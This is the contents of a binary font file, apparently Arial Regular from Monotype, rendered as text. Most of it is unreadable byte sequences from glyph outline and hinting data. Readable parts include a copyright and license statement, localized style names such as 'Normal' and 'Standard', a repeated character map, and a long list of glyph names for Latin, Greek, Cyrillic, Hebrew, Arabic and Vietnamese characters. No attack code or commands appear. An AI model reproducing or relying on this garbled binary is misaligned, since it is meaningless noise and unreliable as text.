!/!?!_!!"?q5}?]qr+++55]+]qr+5+]qr55HS*6.7 h@+O>_>@>>>/A/(((( (p((2(" A"$4!$4)$4($4"4!4)4(@47(4\77>@@B4>@4>>@>>>>>%^4%=>4%%"?q++5}?]qr++55]++++++++++]qr5+]q55HS*6.7 ,h@O>_>p>@>>>/A(@!%40(((((((" A"$4!$4)$4($4"4!4)4(@47(4\77>@@B4>@4>>@>>>>>%^4%=>4%%"?q++5}?]qr++55]++++++++++]qr+5+]q55HS*6.7 h@O9_9@99/A(@4/((((" A"$4!$4)$4($4"4!4)4(@44(4\449@@B49@499@99999%^4%=>4%%"?q++5}?]qr++55]++++++++++]qr+5+]q55HS*6.7 ,h@?9O9_9@99/A(*-4(@!%4(((((((" A"$4!$4)$4($4"4!4)4(@44(4\449@@B49@499@99999%^4%=>4%%"?q++5}?]qr++55]++++++++++]q++5+]qr55#*66؎ hg@AA\@B4@4@4@@ /?_"?q5}?]qr+++55]+5+55s*66؎ hn@ AA\@B4@4@4@@ /?_"?q5}?]qr+++55]+5+]55#*66؎ hg@AA\ @B4@4@4@@ /?_"?q5}?]qr+++55]+5+55s*66؎ hs 4@ AA\ @B4@4@4@@ /?_"?q5}?]qr+++55]+5++55#*66ٍ h@!A  A$4$4 $4 $444 4 @4(4\!@@B4!@4!!@!!!!!^4=>4"?q++5}?]qr++55]++++++++++q5+55s*66ٍ h@ !!!4! 4@ !A A$4$4 $4 $444 4 @4(4\!@@B4!@4!!@!!!!!^4=>4"?q++5}?]qr++55]++++++++++5+++qr55#*66ٍ h@A   A$4$4 $4 $444 4 @4(4\@@B4@4@^4=>4"?q++5}?]qr++55]++++++++++]q5+55s*66ٍ hղ4 4@A  A$4$4 $4 $444 4 @4(4\@@B4@4@^4=>4"?q++5}?]qr++55]++++++++++]5+++55*6#7 hr'@' A A\ '@B4'@4'@4''@'''''@ /?_"?q5}?]qr+++55]+]5+]55*6#7 ,h'4'@ 4p''' A@ 4 A\ '@B4'@4'@4''@'''''@ /?_"?q5}?]qr+++55]+]q+5+]q++55*6#7 hr"@" A A\"@B4"@4"@4""@"""""@ /?_"?q5}?]qr+++55]+]5+]55*6#7 ,h"4"@ 4p"""޶" A@ 4 A\"@B4"@4"@4""@"""""@ /?_"?q5}?]qr+++55]+]q+5+]q++55*6#7 hͱ@1" A`p A$4$4$4$4444@4*(4\**1@@B41@411@11111^4=>4"?q++5}?]qr++55]++++++++++]q5+55*6#7 ,h141@ 4p11@1# A`p A$4$4$4$4444@4*(4\**1@@B41@411@11111^4=>4"?q++5}?]qr++55]++++++++++]q5+]q++55*6#7 h۷_,,@#," A`p A$4$4$4$4444@4'(4\'',@@B4,@4,,@,,,,,^4=>4"?q++5}?]qr++55]++++++++++]q5+]q55*6#7 ,h,4,@ 4,,p,,,@,# A`p A$4$4$4$4444@4'(4\'',@@B4,@4,,@,,,,,^4=>4"?q++5}?]qr++55]++++++++++]q5+]qr++55,67j7Cj%4@>4 A 0 @   A Ad4d4@c4@c4@4@464 @64@4 @4@@B4@4@' @H5 @6:4/ O _  ? _   E5@4@40`@.]qr+++55/]]q++5}?qr++5+++++++++++55+]5+++5,67j7j@:A 0 @   A Ad4d4@c4@c4@4@464 @64@4 @4@@B4@4@' @H5 @6:4/ O _  ? _   E5@4@40`@.]qr+++55/]]q++5}?qr++5+++++++++++55+]5+5 ,67j7Cj%4@=4 AP  A A  44 4 @#4Z4Z4@Y4@Y4@4@4@ @B4@4@@!4@4/H5:5@4@40@@.]qr++++55/]r++5}?++5++++++++++qr+55+]q5+++r5 ,67j7j@@FM4@@D4 0@*A  A A  44 4 @#4Z4Z4@Y4@Y4@4@4@ @B4@4@@!4@4/H5:5@4@40@@.]qr++++55/]r++5}?++5++++++++++qr+55+q5+qr++5,6#7j7Cj %4 @>4 A 0@A A!d4 d4!@c4 @c4!@4 @464@64@4@4#@@B4#@4###@'@H5@6:4/O_?_E5@4@40`@.]qr+++55/]]q++5}?qr++5+++++++++++55+]5+++5,6#7j7j@:""A 0@A A"d4!d4"@c4!@c4"@4!@464@64@4@4#@@B4#@4###@'@H5@6:4/O_?_E5@4@40`@.]qr+++55/]]q++5}?qr++5+++++++++++55+]5+5,6#7j7Cj**#4*@@4**A@####P######A A#$#$$4#44@#4+Z4*Z4+@Y4*@Y4+@4*@4,@ @B4,@4,@ @!4 @4 /   H5:5@4@40@@.]qr++++55/]r++5}?++5++++++++++qr+55+]qr5+++r5,6#7j7j)@$,@FM4,@@B4,@,,, ,0,,,,P,,@5,,A@##P###Ap A#$#$$4#44@#4+Z4,Z4+@Y4,@Y4+@4,@4-@ @B4-@4-@ @!4 @4 /   H5:5@4@40@@.]qr++++55/]r++5}?++5++++++++++qr+q55+]qr5+]qr++5S@H<@CDC)#s#T#d#6#kuCEEE A@:!9999=5442/...1,/ @M@?;==%B%5%(v(3(%(((V(% OJ!(E,CE@//;E! E125:;9945!??33/299?329/939/9999/3]29]]]]]]]]]]2/333229/]2/]]929qq9]]10]]]]]]q]]]]]]q##476767&'&'&#"#"'&54326767#5365'47'34'276t' uF /HF%  -n>1NLHf)3C9,,7@0;q.Gv2UG'>BE73 ID[6PkhOGftBf$5JEJ!}\+!N7%V]T J@@(M'=''EW(S(gw7492,/) 11@229... )9)   F5)@ 599B%%  'r'c'T''%7,/412@%"$$ n ~   @??99//]]33/3?99]]]]/]3/2/]]]299]99/]3/]999910]]]]]]]_]&'&#"#"'&5432#"4'&'!5$7$4''#53&'73#330 8nzF ":)Gu=-11Y   F$=0% ~4#j?[eX }@pAt& P<n{<J+*~~Ji5$P>_@=t { Y i 8 H '$ $ % ??99//3/]]10]]]]]]]]#27654'&#"'67632PgX{xY^6;n, tplxl^IMyk>CWSZd.@Qk,Z,I,Y Izh  %%$&d&0'$ "$ 0'""'"'"'( (??99//]]9/9]9/10]]]]]]]]!!#53! 4'&#!!2764'&#!!!!27676闁х&,a@=8+H+F5iXfU%.%$> N   !) ?32?3?3?/]]210]]]]]]]#"'&55#"'&57632533274'&#"3276DI<+bۀsi~q M6?NI9?NK=drRYAk#N tloj(i@=j!vfv $ &* $ $ # ???9/399/99+}10]]]]]!#&'&'&'&####53!24!!!276A+N4-,NXXE=cN'WJAboK'1f:k! u'rdy9&#Pst=><@%   +  ???3329//]3210&#"3###533632>BB˭vvS['F@U      p   0we ??9/9]]]/]]}+}ć9}+}ć10!#!533!33!67F"ⱱ#JKHX67mɄ6q}!Q&#@o'!zIiW %#"%'Q8 + !  ?3322??9/99/2]]]]]+}ć+}ć10]]]]##"''327677#533!33#67B#]4@;,k0&޵|\2. *IALj,KYYw~t>@V&6   {    i y 5eJZ/@= 40@P  $$$@@ 4/+M_^]q??9/]q+9/_^]10]^]]]qq]]q]qq]]q]]#"&'73 !"'!2u%(2Agnu89ԲP@D~P>6F@A/]]5+5>6 x)@0 A/]]5+]]]]57OQUC@#  0 ?32??9//210!!!3#"'7327655##53!Uo]3BID"6M k NdN#j6Q&G@&%%+++  ?32??9//]210!3#3#"'7327655##53!Q]3BID"6M ]||cNdN#j6 QF@Uj8        ?32?33?/3/2+}33/33/+}10]]#"'732654'#33FHLKH"6%.DUpJ7 v}QUI7Qx5,MQ&@O  %  %     ?32?33?/3/2+}ć33/33/+}10#"'732654'#33CHKH"6%.DU|~PUI7Cr](p r I@Oi                 0 ??9//3/3/2/+}3/+}10]!##!5!33!!IOJ 7A,*m„t,&@P       %     %    +  ??9//3/3/]2/+}ć3/+}10!##!5!33!![4A]pKS-@W+g+w++Vjzk {  8e'u''P`p_o  !!)@  4 &-&@/& 0 @  %&@@ 4/+M_^]^]9/9+?M?9/9_^]9/_^]9/]10]]q]]]]]]!"'&5467&54763 4&'&#"3#"32767}`ٗx‘EM=NppOUi]^pi]e`Io|}!q͸pg-*N+7>CmM :FKB`[Iy>,@} 4  4**YtF/ ,, ,p,,,,(@  4M , `p .$ @ @#4 $$?O/]q+M_^]9/9q+?M_^]]q?]]q9/]910]qr]q]++!"'&547&54763 &#"&#"32767y:jz~of2P=LbB2*q fA*&BS40<9aQ!4@ #    ?32?32?/2210#"'732765!#"'732765!4BID"6M RFi@Z!0"] :WpM#n@ CF<h/Q#& 0@ %"%+  ?32?3?/210#"'732765!#"'532765!#2BID"6M # ?6f?ROaD~fX-(Jo=ǝ9L__Kx)feKA$G< (@V&6   {    i y 5eJZ/@= 40@P  $$$@@ 4/+M_^]q??9/]q+9/_^]10]^]]]qq]]q]qq]]q]]#"&'73 !"'!2u%(2Agnu89ԲP@D~ *@@    0 0 ??9//10!!#535#533!!!!!*lll鄄C@#%    ++  ??9//]]10###535#5333#3nnnnnnnn鄄>@+uVf5E&     ??9/9999/10]]]]]]]]!!&#"#&763233273#"'!> N58_= _a?DmIW8k@CkIYjHXvv& !   0 ??99//]/]9/10]]]]]]!!##53!24'&'&#!!!! )QU,*-R0b{ZBw%ZtXAE ʄQ'0k@9)(!4>63"(6(6(>$/-HH<> 0???33322]?3399//9999399/3/]22/]]+}2210]]]]]]]]]]]]]]]]#&'#"'#&'&54767677&#"'676324'67653276%O)  .&"&^;F/q+7H{<@/gdJƎaH/J}Q>`/?1J+{S8K{VW( .*,tE%I-%B=j *fC.gS@  (@O ,L% +   ??33222?99/]2_]]]_]]+}9210327#"'#&5#5373#3SC1L<>ǓwsN*:;'cli5@      ??9//10##!#3!33†iMZ\@@'z+% %  +  ???3/]10]]###"#36323\QDH<~P%t-(*}QiR@DgwW X            ??9/2/3+}9}ć+}10]]]]###3!3RTi)E@QgU    I  7 %    + %    %  + ???9/2/3+}9}ć+}10]]qqrr]]]###333Jj\c-z[v)i 8@       ?2?2/]և+}10#!5!5!!%piY(&@@$ % +  +  + ?22?22/]Ƈ+}10#!5#!5!63!ԔsXOdRyj-w ;>@XWXwO%%2R%e&F   ??3?3/29/23]]/]+}]]]]]]+}ć9/r3]q23/310]]]]]]#'7'&546324&#"6ne6f`_:7ŏ/p';^&'$%K1-`EA_JvR4DL&` @  ??9//10!#3!`M/& @ % ??9//10!#3!/ )&FH@)\@<'wv (*$P %%$   !& ?2?/]2]q10]]]]]]]# 47647676324'&#"676馪mz#SW 95\}*7mF TI@@̙Eۢtz!d*M'$r~{^~E#]zS@ ?/10#3#53uuȓ|3@ @?22/2q2qq10'#53|Sm懇hRm_@ ?/10#53!5!C'u_?/10!5!53u_u_4 @ ?/10##5##!4uuE[4[ @ ?/10!!335334puu[,6Lj@ A!)++5Q]"h@D7)yjh : E"  p   $ ?32???3/]299//]310]]]]]]]#"'73265!"#36763 ]yW`AK'jydm*&dlhRDYyH4@7nnhYfkSy'+r?6|<k A@ ) f v  &6 W a /2]9/3]9]]1075!533#Dzhh|{lj1YY@&6) ) )    aaa/9/399//33/2/3222/10]7327654&#"'!!632#"'&АyF/3W>FFO"OYpbZoMT=i%)D>Q@yy5o|LF38j/kN@)) )a@aa/99//]33/3/310&#"632# !232654#"c.xKRWS>oK>u>QMF>DxuHDm>3mFA|Y@ )a/9/910'!5!%"|A#yPj+k#/H@ ))$*) )* a.. &a a/9/99/3/3/9910&54!2#"'&547327654'&#"327654'&#"qI\_QzyR`y1#((#3/"&?)/0*@ /s'2hs-)s?64=rf/1!<>"j(k J@) ))a@    aa/99//]33/33/107325#"'&54763 !"'&4#"32ܟ$3.yvFKQN~-oN@&F>CyvGDl>4<&@   `/]]/10"'&'&#"#66323&yCqu5 מ|<8#D8לX4Hi>Tv:&ZC*@of)%%i!X!J!J 7YY e'T'd'E''|['& &&   , &#' #  ?32??9/939/9/^]2/99//99]]]]]]]310]]]]]]]]]]]#"'7327654'&##5&# #4767632CޅfJLT[el[URUJ$)83nvzk,*DLG;Mr\PyOGnuN yc7@SeVdU i J Z  j &    ??32?33/2/]]9/39910]]]]]]^]]]]]]]]!#5# '&76!273&# 327–Tk ž5SX88#4 >g@; %  %'7ra     ??/?329/]]]]]2+}݇+}10&#"#3632m[KAl(;vG&@fXx   w ( x       /?/?/?329/͇+}]]]݇+}]^]2+}]+}]]]10&#"##33632m[KG{YD.ڠvH11/>@n%%  %  h g    %    P   /^]?/?/]?329/]]+}]]]]݇+}]]2+}ć+}]]10&#"##33632m[KH׼1ˠvG1&I& @<<<?/3/2/10#53#53Yr@  %%//9/10!5!!5!dd^ZG'?/9910#53':[8nZA'?/9910#53':[8hhv @   /33/9910!#!53hߍM.T &shv @ /33/9910#5!3!h.!!qs&  $@<< //3/2/9910#53#534t7  $@  <<//2/3/9910#53#537t4  %@  <<?/2/3/9910#53#537t4 i2@<</^]/]9910#'#3nqi\ N$7<  h$$7h$9h$:$D:A:E-:H:I:K:L`:M:N:Q`:W:Z:l:m:n:w-;:;A;H;K;L;M;N;O;Q;T;W;Y;e;m<:<><@<A<E<H<K<Lw<M<N<O<Q<T<Y<^<f<l<m<o<q<y===w=w==:w=>w=A=E=F=H=K=Y=Z=\=^w=_w=b=e=f=g=hw=j=mw=u=v=x=yw>M>N>Q>aD>h>m-?A?k@A@H@K@L@M-@T-@Z@_@h@mAEAHAKALAMANAQAYDADHDKDMDNENE[EmFNFQFZF_FhFkFmFqFwH:H>H@HEHMHOHQHYH^HeHoJ}J}JJJJ:wJ>wJ@JAJEJFJHJKJLJMJNJOJYJZJ^`J_JhJwJyK:K>KAKEKFKHKLKMKOKQKTKWKZK`-KqLLLLLL:L>L@LALELHLNLYLZL\L_LbLdLeLfLh`LiLjLkLmLoLsLuLvLxLyMMMMMMMM:wM>MAMEMHMNMWMYM[M\M]M^`M_wM`MaMbMcMdMewMfMgMhwMiMjMkwMoMpMrMsMxMywN:N>NENLNMNQNYNeOAOHOKONOWOhOmPHPZ-SZSm-TwTYV`V:V>V@VAVEVFVHVKVL3VOVQ`VWVYW>W@WAWEWOWYW^W`WeWfWyX:X>X@XEXHXKXLXOXQX^XeXfZaZlZmZq[Z[^[_[`[a[e[f[k[m[n[o[q[t[w[y\Z\[\^\_\`\a\e\f\h\k\l\m\n\q\t\y]]]Z]^]_]a]e]h]k]y^t^w_[_^_`_a_e_l_m_o_q`[`m`q`t-a[a^a_aaaeahakamanaqatdZ-d[-d_dadedhdkdldmdweheqf[fafmh^h`hahehlhmhohqj^jajejljmjojqjyk`khkqkwlllZl^l_l`Dlelhlklmm3m3mmZm[m^m_m`memfmhmjmkmnmwmyn[n^nenlnmnqnyoZo[o_oaohokolonoqp_paphpks_shsmvl`vqww^w_wawewhwlwowyx^x`xexfxlxoxq33``.13 "&+:j jt^ j0  25/ 4L]S E U JV fr j  j t ^  j    0  2  J   J  J J J J$* -  J J  J  J 2008 The Monotype Corporation. All Rights Reserved.ArialRegularMonotype:Arial Regular:Version 5.06 (Microsoft)ArialMTArial is a trademark of The Monotype Corporation in the United States and/or other countries.Monotype Type Drawing Office - Robin Nicholas, Patricia Saunders 1982You may use this font to display and print content as permitted by the license terms for the product in which this font is included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. 2008 The Monotype Corporation. All Rights Reserved.ArialRegularMonotype:Arial Regular:Version 5.06 (Microsoft)ArialMTArial is a trademark of The Monotype Corporation in the United States and/or other countries.Monotype Type Drawing Office - Robin Nicholas, Patricia Saunders 1982You may use this font to display and print content as permitted by the license terms for the product in which this font is included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content.Normaloby ejnnormalStandardNormaaliNormlNormaleStandaardNormalny1KG=K9NormlneNavadnothngArrunta' W  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~                           ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~                            ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~                            ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~                            ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~                            ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [mu1pi1Ohmuni2206elipsisEuro Idotaccentdcroat overscoremiddotAbreveabreveAogonekaogonekDcarondcaronDcroatEogonekeogonekEcaronecaronLacutelacuteLcaronlcaronLdotldotNacutenacuteNcaronncaron Ohungarumlaut ohungarumlautRacuteracuteRcaronrcaronSacutesacute Tcommaaccent tcommaaccentTcarontcaronUringuring Uhungarumlaut uhungarumlautZacutezacute Zdotaccent zdotaccentGammaThetaPhialphadeltaepsilonsigmatauphi underscoredbl exclamdbl nsuperiorpeseta arrowleftarrowup arrowright arrowdown arrowboth arrowupdn arrowupdnbse orthogonal intersection equivalencehouse revlogicalnot integraltp integralbtuni2500uni2502uni250Cuni2510uni2514uni2518uni251Cuni2524uni252Cuni2534uni253Cuni2550uni2551uni2552uni2553uni2554uni2555uni2556uni2557uni2558uni2559uni255Auni255Buni255Cuni255Duni255Euni255Funi2560uni2561uni2562uni2563uni2564uni2565uni2566uni2567uni2568uni2569uni256Auni256Buni256Cupblockdnblockblocklfblockrtblockltshadeshadedkshade filledbox filledrecttriaguptriagrttriagdntriaglfcircle invbullet invcircle smileface invsmilefacesunfemalemalespadeclubheartdiamond musicalnotemusicalnotedblIJij napostropheminuteseconduni2105uni2113uni25A1uni25AAuni25ABuni25CF openbulletAmacronamacron Ccircumflex ccircumflex Cdotaccent cdotaccentEmacronemacronEbreveebreve Edotaccent edotaccent Gcircumflex gcircumflex Gdotaccent gdotaccent Gcommaaccent gcommaaccent Hcircumflex hcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonek Jcircumflex jcircumflex Kcommaaccent kcommaaccent kgreenlandic Lcommaaccent lcommaaccent Ncommaaccent ncommaaccentEngengOmacronomacronObreveobreve Rcommaaccent rcommaaccent Scircumflex scircumflexTbartbarUtildeutildeUmacronumacronUbreveubreveUogonekuogonek Wcircumflex wcircumflex Ycircumflex ycircumflexlongs Aringacute aringacuteAEacuteaeacute Oslashacute oslashacute anoteleiaWgravewgraveWacutewacute Wdieresis wdieresisYgraveygrave quotereversed radicalexlira estimated oneeighth threeeighths fiveeighths seveneighths commaaccentundercommaaccenttonos dieresistonos Alphatonos EpsilontonosEtatonos Iotatonos Omicrontonos Upsilontonos OmegatonosiotadieresistonosAlphaBetaEpsilonZetaEtaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonChiPsi IotadieresisUpsilondieresis alphatonos epsilontonosetatonos iotatonosupsilondieresistonosbetagammazetaetathetaiotakappalambdanuxiomicronrhosigma1upsilonchipsiomega iotadieresisupsilondieresis omicrontonos upsilontonos omegatonosuni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Euni045Funi0490uni0491uni2015uni2116uni05B0uni05B1uni05B2uni05B3uni05B4uni05B5uni05B6uni05B7uni05B8uni05B9uni05BBuni05BCuni05BDuni05BEuni05BFuni05C0uni05C1uni05C2uni05C3uni05D0uni05D1uni05D2uni05D3uni05D4uni05D5uni05D6uni05D7uni05D8uni05D9uni05DAuni05DBuni05DCuni05DDuni05DEuni05DFuni05E0uni05E1uni05E2uni05E3uni05E4uni05E5uni05E6uni05E7uni05E8uni05E9uni05EAuni05F0uni05F1uni05F2uni05F3uni05F4uni20AA uni05D505C2 uni05DA05B0 uni05DA05B8 uni05DC05B9uni05DC05BC05B9 uni05E2.alt uni05E905C1 uni05E905C2uni05E905BC05C1uni05E905BC05C2 uni05D005B7 uni05D005B8 uni05D005BC uni05D105BC uni05D205BC uni05D305BC uni05D405BC uni05D505BC uni05D605BC uni05D805BC uni05D905BC uni05DA05BC uni05DB05BC uni05DC05BC uni05DE05BC uni05E005BC uni05E105BC uni05E305BC uni05E405BC uni05E605BC uni05E705BC uni05E805BC uni05E905BC uni05EA05BC uni05D505B9 uni05D105BF uni05DB05BF uni05E405BF uni05D005DCuni200Cuni200Duni200Euni200Funi060Cuni061Buni061Funi0621uni0640uni064Buni064Cuni064Duni064Euni064Funi0650uni0651uni0652uni0660uni0661uni0662uni0663uni0664uni0665uni0666uni0667uni0668uni0669uni066Auni066Buni066Dglyph774glyph775uni06D5glyph777uni06F4uni06F5uni06F6glyph781glyph782glyph783glyph784glyph785 uni0651064Bglyph787glyph788glyph789glyph790glyph791glyph792glyph793glyph794 uni0640.altglyph796glyph797glyph798uni067E uni067E.fina uni067E.init uni067E.mediglyph803glyph804glyph805glyph806uni0686 uni0686.fina uni0686.init uni0686.mediuni0698 uni0698.finauni06A9 uni06A9.fina uni06A9.init uni06A9.mediuni06AF uni06AF.fina uni06AF.init uni06AF.mediuni06CC uni06CC.fina uni06D5.finaglyph824glyph825glyph826glyph827glyph828glyph829glyph830glyph831glyph832glyph833glyph834glyph835glyph836glyph837glyph838 uni0651064C uni0651064D uni0651064E uni0651064F uni06510650glyph844glyph845uni202Auni202Buni202Duni202Euni202Cuni206Euni206Funi206Auni206Buni206Cuni206DuniF00AuniF00BuniF00CuniF00DuniF00EuniFFFCglyph864glyph865glyph866glyph867glyph868glyph869glyph870glyph871glyph872glyph873glyph874glyph875glyph876glyph877glyph878glyph879glyph880glyph881glyph882glyph883glyph884glyph885glyph886glyph887glyph888glyph889glyph890glyph891uniFD3EuniFD3Fglyph894lillahuniFE80uni0622 uni0622.finauni0623 uni0623.finauni0624 uni0624.finauni0625 uni0625.finauni0626 uni0626.fina uni0626.init uni0626.mediuni0627 uni0627.finauni0628 uni0628.fina uni0628.init uni0628.mediuni0629 uni0629.finauni062A uni062A.fina uni062A.init uni062A.mediuni062B uni062B.fina uni062B.init uni062B.mediuni062C uni062C.fina uni062C.init uni062C.mediuni062D uni062D.fina uni062D.init uni062D.mediuni062E uni062E.fina uni062E.init uni062E.mediuni062F uni062F.finauni0630 uni0630.finauni0631 uni0631.finauni0632 uni0632.finauni0633 uni0633.fina uni0633.init uni0633.mediuni0634 uni0634.fina uni0634.init uni0634.mediuni0635 uni0635.fina uni0635.init uni0635.mediuni0636 uni0636.fina uni0636.init uni0636.mediuni0637 uni0637.fina uni0637.init uni0637.mediuni0638 uni0638.fina uni0638.init uni0638.mediuni0639 uni0639.fina uni0639.init uni0639.mediuni063A uni063A.fina uni063A.init uni063A.mediuni0641 uni0641.fina uni0641.init uni0641.mediuni0642 uni0642.fina uni0642.init uni0642.mediuni0643 uni0643.fina uni0643.init uni0643.mediuni0644 uni0644.fina uni0644.init uni0644.mediuni0645 uni0645.fina uni0645.init uni0645.mediuni0646 uni0646.fina uni0646.init uni0646.mediuni0647 uni0647.finauni06BE uni06BE.finauni0648 uni0648.finauni0649 uni0649.finauni064A uni064A.fina uni064A.init uni064A.mediuni06440622.isoluni06440622.finauni06440623.isoluni06440623.finauni06440625.isoluni06440625.finauni06440627.isoluni06440627.fina glyph1021 glyph1022 glyph1023 glyph1024 glyph1025 glyph1026 glyph1027 glyph1028 glyph1029 glyph1030 glyph1031 glyph1032 glyph1033 glyph1034 glyph1035 glyph1036 glyph1037 glyph1038 glyph1039 glyph1040 glyph1041 glyph1042 glyph1043 glyph1044 glyph1045 glyph1046 glyph1047 glyph1048 glyph1049 glyph1050 glyph1051 glyph1052 glyph1053 glyph1054 glyph1055 glyph1056 glyph1057 glyph1058 glyph1059 glyph1060 glyph1061 glyph1062 glyph1063 glyph1064 glyph1065 glyph1066 glyph1067 glyph1068 glyph1069 glyph1070 glyph1071 glyph1072 glyph1073 glyph1074 glyph1075 glyph1076 glyph1077 glyph1078 glyph1079 glyph1080 glyph1081 glyph1082 glyph1083 glyph1084 glyph1085 glyph1086 glyph1087 glyph1088 glyph1089 glyph1090 glyph1091 glyph1092 glyph1093 glyph1094 glyph1095 glyph1096 glyph1097 glyph1098 glyph1099 glyph1100 glyph1101 glyph1102 glyph1103 glyph1104 glyph1105 glyph1106 glyph1107 glyph1108 glyph1109 glyph1110 glyph1111 glyph1112 glyph1113 glyph1114 glyph1115 glyph1116 glyph1117 glyph1118 glyph1119 glyph1120 glyph1121 glyph1122 glyph1123 glyph1124 glyph1125 glyph1126 glyph1127 glyph1128 glyph1129OhornohornUhornuhorn glyph1134 glyph1135 glyph1136uniF006uniF007uniF009 hookabovecombuniF010uniF013uniF011uniF01CuniF015 tildecomb glyph1147 glyph1148uniF02Cdongonethird twothirdsuniF008 glyph1154 glyph1155uniF00FuniF012uniF014uniF016uniF017uniF018uniF019uniF01AuniF01BuniF01EuniF01FuniF020uniF021uniF022 gravecomb acutecombuniF01D dotbelowcombuniF023uniF029uniF02AuniF02BuniF024uniF025uniF026uniF027uniF028uniF02DuniF02EuniF02FuniF030uniF031 Adotbelow adotbelow Ahookabove ahookaboveAcircumflexacuteacircumflexacuteAcircumflexgraveacircumflexgraveAcircumflexhookaboveacircumflexhookaboveAcircumflextildeacircumflextildeAcircumflexdotbelowacircumflexdotbelow Abreveacute abreveacute Abrevegrave abrevegraveAbrevehookaboveabrevehookabove Abrevetilde abrevetildeAbrevedotbelowabrevedotbelow Edotbelow edotbelow Ehookabove ehookaboveEtildeetildeEcircumflexacuteecircumflexacuteEcircumflexgraveecircumflexgraveEcircumflexhookaboveecircumflexhookaboveEcircumflextildeecircumflextildeEcircumflexdotbelowecircumflexdotbelow Ihookabove ihookabove Idotbelow idotbelow Odotbelow odotbelow Ohookabove ohookaboveOcircumflexacuteocircumflexacuteOcircumflexgraveocircumflexgraveOcircumflexhookaboveocircumflexhookaboveOcircumflextildeocircumflextildeOcircumflexdotbelowocircumflexdotbelow Ohornacute ohornacute Ohorngrave ohorngraveOhornhookaboveohornhookabove Ohorntilde ohorntilde Ohorndotbelow ohorndotbelow Udotbelow udotbelow Uhookabove uhookabove Uhornacute uhornacute Uhorngrave uhorngraveUhornhookaboveuhornhookabove Uhorntilde uhorntilde Uhorndotbelow uhorndotbelow Ydotbelow ydotbelow Yhookabove yhookaboveYtildeytildeuni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni03080304.cap glyph1293uni0308030C.capuni03080300.capuni0492uni0493uni0496uni0497uni049Auni049Buni049Cuni049Duni04A2uni04A3uni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04B8uni04B9uni04BAuni04BBuni018Funi0259uni04E8uni04E9uni066E uni066E.init uni066F.init uni066F.mediuni066Fdot.one dot.twohoriz dot.threeup dot.threedown dot.twovertdot.fouruni0615wasla wavyhamzasmallvcircumflex.arabuni0653uni0654uni0655uni0670uni0671 uni0671.finauni0672 uni0672.finauni0673 uni0673.finauni0675 uni0675.finauni0676 uni0676.finauni0677 uni0677.finauni0678 uni0678.finauni0679 uni0679.fina uni0679.init uni0679.mediuni067A uni067A.fina uni067A.init uni067A.mediuni067B uni067B.fina uni067B.init uni067B.mediuni067C uni067C.fina uni067C.init uni067C.mediuni067D uni067D.fina uni067D.init uni067D.mediuni067F uni067F.fina uni067F.init uni067F.mediuni0680 uni0680.fina uni0680.init uni0680.mediuni0681 uni0681.fina uni0681.init uni0681.mediuni0682 uni0682.fina uni0682.init uni0682.mediuni0683 